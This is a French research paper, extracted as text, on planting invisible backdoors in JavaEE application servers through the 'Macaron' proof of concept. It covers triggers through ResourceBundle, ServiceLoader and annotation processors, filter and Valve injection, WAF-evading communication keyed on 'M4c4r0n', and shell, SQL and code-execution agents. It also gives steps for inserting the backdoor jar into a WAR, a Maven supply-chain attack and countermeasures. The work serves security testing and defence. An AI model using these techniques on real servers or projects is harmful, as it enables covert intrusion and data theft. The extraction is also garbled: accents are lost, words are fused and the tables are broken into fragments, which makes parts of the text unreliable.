Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
408 Porte derobee dans les serveurs drsquoapplications JavaEE
JavaFileObject jfo=
filercreateClassFile(filterClass)
InputStream in=
FilterclassgetClassLoader ()
getResourceAsStream(
filterClassreplaceAll()+class)
OutputStream out=jfoopenOutputStream ()
final byte[] tampon=new byte [4096]
int len
while ((len = inread(tampon)) gt 0)
outwrite(tampon 0 len)
outclose()
inclose ()
catch (Throwable x)
Ignore
return true
Drsquoautres pistes sont possibles comme la copie de lrsquoarchive de la porte derobe lorsde la compilation a partir drsquoune version presente uniquement pour les tests unitaires
Lors drsquoune compilation par Maven ou Ant par exemple le processeur est invoquepour compiler les classes du projet et les classes des tests unitaires Le processeurpeut alors entrer en action pour intervenir sur le repertoire target avant la creationde lrsquoarchive du projet
Cette attaque peut etre exploitee pour toutes applications Java et permettredrsquoinjecter une porte derobe dans une carte a puce
Pour interdire cela il faut ajouter le parametre -proc none lors de la compilation
Drsquoautres approches Dans certaines conditions particulieres drsquoautres approchessont possibles comme la modification a chaud drsquoune classe via lrsquoapi JPDA (JavaPlatform Debugger Architecture) Il faut pour cela beneficier de lrsquoarchive toolsjar duJDK et que la JVM soit lancee en mode debug via le reseau
25 Detection de lrsquoouverture de la porte
Le code de la porte derobee etant execute a chaque requete HTTP a lrsquoaide drsquouneValve Tomcat drsquoun filtre JavaEE drsquoune injection AOP drsquoun Auto-Proxy ou drsquouninterceptor Spring il est possible drsquoanalyser tous les champs des formulaires Surla presence drsquoune clef dans un champ quelconque drsquoun formulaire la porte derobeedetourne le traitement
P Prados 409
Nous proposons un code de demonstration de ces attaques Il srsquoagit de placer unesimple archive dans le repertoire WEB-INFlib Il faut ensuite utiliser le mot Macaronen ecriture Leet6 (laquo M4c4r0n raquo) dans nrsquoimporte quel champ de lrsquoapplication pourlrsquoexecuter
26 Communication discrete
Ce chapitre decrit la couche de communication mise en place par la demonstrationVous pouvez sauter directement vers le chapitre laquo Demonstration raquo
Maintenant que le flux est detourne il faut faire preuve de discretion pourcommuniquer avec la porte derobee Le code ne doit pas etre detecte par les pare-feureseaux ni par les pare-feu applicatifs (WAF)
Les pare-feu applicatifs detectent ndash Les URLs utilisees via une liste blanche ndash La liste des champs pour chaque URLs et les contraintes de format (chiffrelettre
taille etc) ndash La vitesse des requetes (plus de 120 requetes par minutes ou plus de 360 requetes
en cinq minutes) ndash La taille limite des reponses (512Ko) ndash La presence de mots clefs specifiques dans les pages de reponses (liste noire)La porte derobee doit contourner toutes ces verifications Pour cela le filtre utilise
une URL standard de lrsquoapplication celle utilisee pour inserer la clef La requetedrsquoouverture est conforme aux contraintes si le champ choisi pour utiliser la clefaccepte des caracteres et des chiffres
La communication srsquoeffectue en remplissant un formulaire avec une valeur specialerespectant les contraintes du champ (type de caractere et taille du champ)
Les agents de la porte derobee nrsquoutilisent alors que cette URL en soumettanttoujours le meme formulaire avec les memes valeurs sauf pour un seul champ quisert de transport Ce dernier ne doit pas violer les contraintes du champ
La figure 6 indique le cheminement de la communicationLors de la soumission drsquoun formulaire le traitement est detourne vers la porte
derobee Une page specifique est renvoyee Cette derniere communique avec le code dela porte derobee a lrsquoaide de requetes AJAX afin drsquoinjecter dans la page les resultatsdes traitements au format XML
Une ecoute des trames reseau lors drsquoune communication avec la porte derobee faitapparaıtre des soumissions regulieres drsquoun formulaire dont un seul champ evolue Sila requete est de type POST il est peu probable que cela soit enregistre dans les logs
6 httpfrwikipediaorgwikiLeet_speak
410 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 6 Communication de la porte derobee
Toutes les manipulations de la porte derobee utilisent des trames portees par unchamp de formulaire HTML Une taille limite nrsquoest jamais depassee pour ce dernier
La grammaire des trames est la suivante
ltM4c4r0n gtlta|bgtltdata gt
Elle est precisee ci-dessousComme les trames ne doivent depasser une certaine taille le caractere apres la
clef laquo M4c4r0n raquo indique si la trame est terminee (a) ou si elle doit etre completeepar drsquoautres trames (b)
Les caracteres suivants servent de charge utile a la trame Le contenu est au formatASCII en b64 ou hexadecimal suivant le parametrage de la porte derobee
La charge utile des trames est alors analysee comme une commande a executerDes pages HTML specifiques sont retournees Elles utilisent la technologie AJAX pourcommuniquer Les pages sont autonomes Elles integrent les feuilles de styles et lesscripts mais evitent les images (sauf au format data ) afin de reduire le nombre derequetes HTTP Une seule requete drsquoouverture de la porte derobee permet drsquoobtenirun agent fonctionnel Les pare-feu applicatifs ne verifient generalement pas le formatdes pages en retour
Le flux drsquoemission AJAX est ralenti en termes de trafic reseau pour ne pas eveillerles soupcons
P Prados 411
Une requete specifique conf permet drsquoindiquer le format drsquoencodage et la taillemaximum drsquoune trame a ne pas depasser Elle a le format suivant
ndashndash La clef en lrsquooccurrence laquo M4c4r0n raquo ndash Le caractere de fin de trame (laquo b raquo) ndash Le mot clef de la commande laquo conf raquo ndash Un caractere indiquant si lrsquoencodage doit etre hexadecimal ou base64 (laquo h raquo ou
laquo b raquo) ndash Un nombre indiquant la taille maximum des trames ndash Le caractere laquo W raquo comme separateur ndash Un nombre indiquant en second la frequence drsquoemission des trames
Par exemple pour demander lrsquoinitialisation de la porte derobee en utilisantlrsquoencodage hexadecimal une taille maximal des trames de 30 caracteres et un poolde 3 secondes il faut valoriser un champ de formulaire texte drsquoune vingtaine decaracteres comme le montre la figure 7
Fig 7 Configuration
Cela ouvre la porte tout en parametrant les communications futures Par defautlrsquoencodage est en base64 les trames ne depassent pas 80 caracteres et le pool est dedeux secondes Il est donc recommande de choisir un champ suffisamment grand pourrecevoir tous ces caracteres
27 Le scenario drsquoexecution
Le scenario drsquoexecution de la porte derobee est le suivant
ndash Etape 1 Declenchement du piegendash Etape 1bis Si necessaire augmentation des privileges en utilisant une tech-
nologie drsquoexecution implicite Puis attente drsquoun redemarrage du serveur drsquoappli-cation
ndash Etape 2 Injection drsquoun filtre sur toutes les requetes HTTP ndash Etape 3 Analyse de toutes les requetes pour detourner le flux de traitement
des requetes lors de la presentation de la clef
412 Porte derobee dans les serveurs drsquoapplications JavaEE
28 Les agents
Differents agents sont proposes par la porte derobee
ndashndash Un agent memorisant les dernieres requetes sur le serveur ndash Un agent JMX pour manipuler le serveur drsquoapplication ndash Un agent JNDI pour consulter lrsquoannuaire de la configuration ndash Un agent SQL pour manipuler la base de donnees ndash Un agent Javajavascript pour compiler et executer dynamiquement du code ndash Un agent Shell pour srsquoamuser
Fig 8 History
Agent History Cet agent permet de memoriser les dernieres requetes avec leursparametres quelque soit lrsquoutilisateur Il peut permettre de decouvrir des informationsconfidentielles soumises par drsquoautres utilisateurs
Agent JNDI Cet agent permet de naviguer dans lrsquoarbre JNDI lrsquoannuaire des objetsdes applications JavaEE Les ordres possibles sont
cd ltjndi_name gt
ls
dump ltjndi -name gt
P Prados 413
Fig 9 JNDI
La commande dump permet si possible de serialiser lrsquoobjet et drsquoafficher une vuehexadecimale du resultat Cela permet parfois de trouver des mots de passes
Agent JMX Cet agent permet de naviguer dans lrsquoarbre JMX lrsquoarbre de gestion desobjets du serveur Les ordres permettent de consulter ou de modifier les attributset drsquoinvoquer des traitements Lrsquoergonomie proposee ressemble a un shell avec unesyntaxe specifique Les ordres possibles sont
cd ltJMX name gt
ls
ltattr gt=ltvaleur gt
method(ltparams gt)
Agent JDBC Cet agent utilise la connexion a la base de donnees declaree dans lefichier webxml ou specifiee en ligne de commande Il permet drsquoinvoquer toutes lesrequetes SQLs autorisees par la connexion Si elles commencent par select lrsquoagentaffiche un tableau avec le resultat Sinon il execute le traitement et retourne un statut
La commande jndi ltkeygt permet drsquoutiliser une autre clef JNDI pour acceder ala base de donnees
Tous les privileges accordes a lrsquoapplication sont disponibles Il ne faut pas longtempsensuite pour les augmenter et attaquer le serveur de la base de donnees Les publica-tions sur les SQLs injections peuvent etre une source drsquoinspiration
414 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 10 JMX
Fig 11 JDBC
P Prados 415
Fig 12 JavaJavascript
Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur
Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur
Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest
pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur
Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK
Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur
Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI
416 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 13 Shell
Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles
3 Demonstration
Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution
Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire
Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire
Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee
Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee
P Prados 417
Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement
Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage
Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications
Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges
Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour
augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves
ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE
Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela
31 Execution
Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent
La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant
Chaque agent utilise un protocole qui lui est propre
32 Executer la demonstration
Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication
Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar
418 Porte derobee dans les serveurs drsquoapplications JavaEE
ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample
war
ndash httpwwwspringsourceorgdownload
Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console
$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar
$ mkdir -p WEB -INFlib
$ mv macaron -backdoor jar WEB -INFlib
$ jar -uf samplewar WEB -INF
$ cp samplewar $CATALINA_HOMEwebapps
Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication
export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-
actions
Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant
grant
Pour Macaron Backdoor
permission javautilPropertyPermission macaron -backdoorread
permission javalangRuntimePermission createClassLoader
permission javalangRuntimePermission getProtectionDomain
Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique
Puis lancez Tomcat
$ $CATALINA_HOMEbincatalinash run -security
Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n
33 Diffusion du code
La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact
P Prados 419
La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques
Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites
La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication
Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production
4 Propagation
Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne
Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource
Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine
Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier
Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement
En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle
7 httpmavenapacheorg
420 Porte derobee dans les serveurs drsquoapplications JavaEE
dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole
Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela
Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut
ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en
attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee
ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1
Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet
Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace
Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9
La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable
5 Les solutions
Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif
Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications
8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security
10 httpantapacheorgivy
P Prados 421
hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)
Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet
grant codeBase file$catalinabase webappsMonProjetWEB -INFlib
permission javalangRuntimePermission
createClassLoader
Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges
Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees
Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques
En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre
grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar
permission javalangRuntimePermission
createClassLoader
Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire
422 Porte derobee dans les serveurs drsquoapplications JavaEE
Le
table
ausu
ivan
tid
enti
fie
les
diff
eren
tspie
ges
pre
sents
dan
slrsquoar
chiv
ede
dem
onst
rati
on
Pie
ges
Locali
sati
on
Desc
rip
tion
s
Res
ou
rces
Bu
nd
les
Exceptionsclass
formatclass
i18nclass
LocalStringsclass
messageclass
messagesclass
viewsclass
windowsclass
javaxservletLocalStringsclass
orgapachecatalinastoreconfigLocalStringsclass
orgapachexercesimplmsgDOMMessagesclass
orgapachexmlresXMLErrorResourcesclass
orghibernatevalidatorresourcesDefaultValidatorMessagesclass
Pu
blica
tion
de
class
esp
ou
rsi
mu
ler
un
fich
ier
properties
Ser
vic
essp
ecifi
cati
on
sJA
RMETA
INFservicesjavaxxmlparsersDocumentBuilderFactory
META
INFservicesjavaxxmlparsersSAXParserFactory
Pu
blica
tion
de
lrsquoim
ple
men
tati
on
de
nou
vea
ux
serv
ices
pu
isd
eleg
ati
on
du
trait
emen
ta
lrsquoim
ple
men
tati
on
stan
-d
ard
Pro
gra
mm
ati
on
par
asp
ect
META
INFaopxml
Dec
lara
tion
gen
eriq
ue
de
regle
sd
rsquoin
ject
ion
s
Le
tab
leau
suiv
ant
ind
iqu
ele
sd
iffer
ente
ste
chn
iqu
esdrsquoi
nje
ctio
ns
dan
sle
flu
xd
etr
ait
emen
td
esre
qu
etes
HT
TP
etle
sp
rivil
eges
nec
essa
ires
P Prados 423In
jecti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Pro
tect
ion
de
lap
ort
ed
erobee
contr
ela
de-
com
pilati
on
javautilPropertyPermission
macaron-backdoorread
javalangRuntimePermission
createClassLoader
javalangRuntimePermission
getProtectionDomain
Pou
rev
iter
lad
e-co
mp
ilati
on
le
cod
ees
tp
rote
ge
Ce
pri
vil
ege
nrsquoe
stp
as
nec
essa
ire
enco
nd
itio
nn
orm
ale
etp
eut
etre
ign
ore
lors
des
test
sIl
nrsquoe
stp
as
dis
crim
inant
pou
rdem
ontr
erqu
rsquoun
eatt
aqu
en
ep
eut
avoir
lieu
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
La
port
ed
erobee
con
stru
itu
ne
Valv
eet
lrsquoin
-je
cte
dan
sT
om
cat
alrsquoaid
ed
rsquoun
ere
qu
ete
Mb
ean
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
5x
siltContext
privileged=truegt
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Si
lep
rivil
ege
est
dis
pon
ible
dan
scontextxml
etu
tilisa
tion
de
Tom
cat
5x
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
6x
javalangRuntimePermission
defineClassInPackageorgapachecatalinavalves
javalangRuntimePermission
defineClassInPackageorgapachecatalina
javalangRuntimePermission
defineClassInPackageorgapachecatalinaconnector
Si
uti
lisa
tion
de
Tom
cat
6x
Inje
ctio
nd
eV
alv
ed
an
sJB
oss
avec
Tom
cat
5x
siltContext
privileged=truegt
javaxmanagementMBeanServerPermission
findMBeanServer
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
getClassLoader
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Sile
pri
vil
ege
est
dis
pon
ible
dan
scontextxml
lap
ort
ed
erob
eeco
nst
ruit
un
eV
alv
eet
lrsquoin
ject
ed
an
sJB
oss
alrsquoaid
ed
rsquoun
ere
quet
eM
bea
n
424 Porte derobee dans les serveurs drsquoapplications JavaEE
Inje
cti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Au
gm
enta
tion
de
pri
vil
eges
sou
sT
om
cat
javaioFilePermission
$catalinahomelibwrite
javaioFilePermission
$catalinahomelibread
(Optional)
javautilPropertyPermission
catalinahomeread(Optional)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Au
gm
enta
tion
de
pri
vil
eges
sou
sJB
oss
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerwrite
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerread
(Optionel)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Inje
ctio
nd
efi
ltre
JavaE
Ed
an
swebxml
sou
sT
om
cat
javaioFilePermission
$catalinabasewebapps$warWEB
INFwebxml
write
Cet
teatt
aqu
eco
nsi
ste
ain
ject
eru
nfi
ltre
JE
Ed
an
sla
ver
sion
enca
che
de
Tom
cat
du
fich
ier
webxmlA
up
roch
ain
red
emarr
age
lefi
ltre
est
act
if
Inje
ctio
nS
pri
ng
Au
cun
Inje
ctio
nd
eltbeangt
dan
sle
sfi
chie
rsd
ep
ara
met
rage
de
Sp
rin
gp
ou
rca
ptu
rer
tou
sle
sre
qu
etes
au
fram
ework
MV
C
Pro
gra
mm
ati
on
par
asp
ect
Au
cun
Inje
ctio
nd
etr
ait
emen
tp
ou
rle
sse
rvle
tset
JS
P
Vou
sp
ou
vez
con
state
rqu
ed
eux
att
aqu
esn
en
eces
site
nt
au
cun
pri
vil
ege
Le
tab
leau
suiv
ant
rep
ren
dle
sp
rivil
eges
nec
essa
ires
au
xd
iffer
ents
agen
tsp
rop
ose
sC
esp
rivileg
esn
eso
nt
pas
nec
essa
ires
au
ne
att
aqu
eci
ble
e
P Prados 425A
gents
Priv
ileges
min
imu
ms
necess
air
es
Desc
rip
tion
s
Agen
tH
isto
riqu
eA
ucu
np
rivil
ege
part
icu
lier
A
gen
tm
emori
sant
les
der
nie
res
requ
etes
HT
TP
Agen
tJN
DI
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tm
an
ipu
lant
lrsquoan
nu
air
eJN
DI
Agen
tJM
XjavaxmanagementMBeanPermission
getDomainsgetMBeanInfogetAttribute
Agen
tco
nsu
ltant
les
JM
X
Agen
tJD
BC
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
de
man
ipu
ler
lab
ase
de
don
nee
s
Agen
tJava
avec
lan
gage
Javasc
rip
tA
ucu
np
rivil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
lrsquoex
ecu
tion
de
cod
eJavasc
rip
t
Agen
tJava
avec
lan
gage
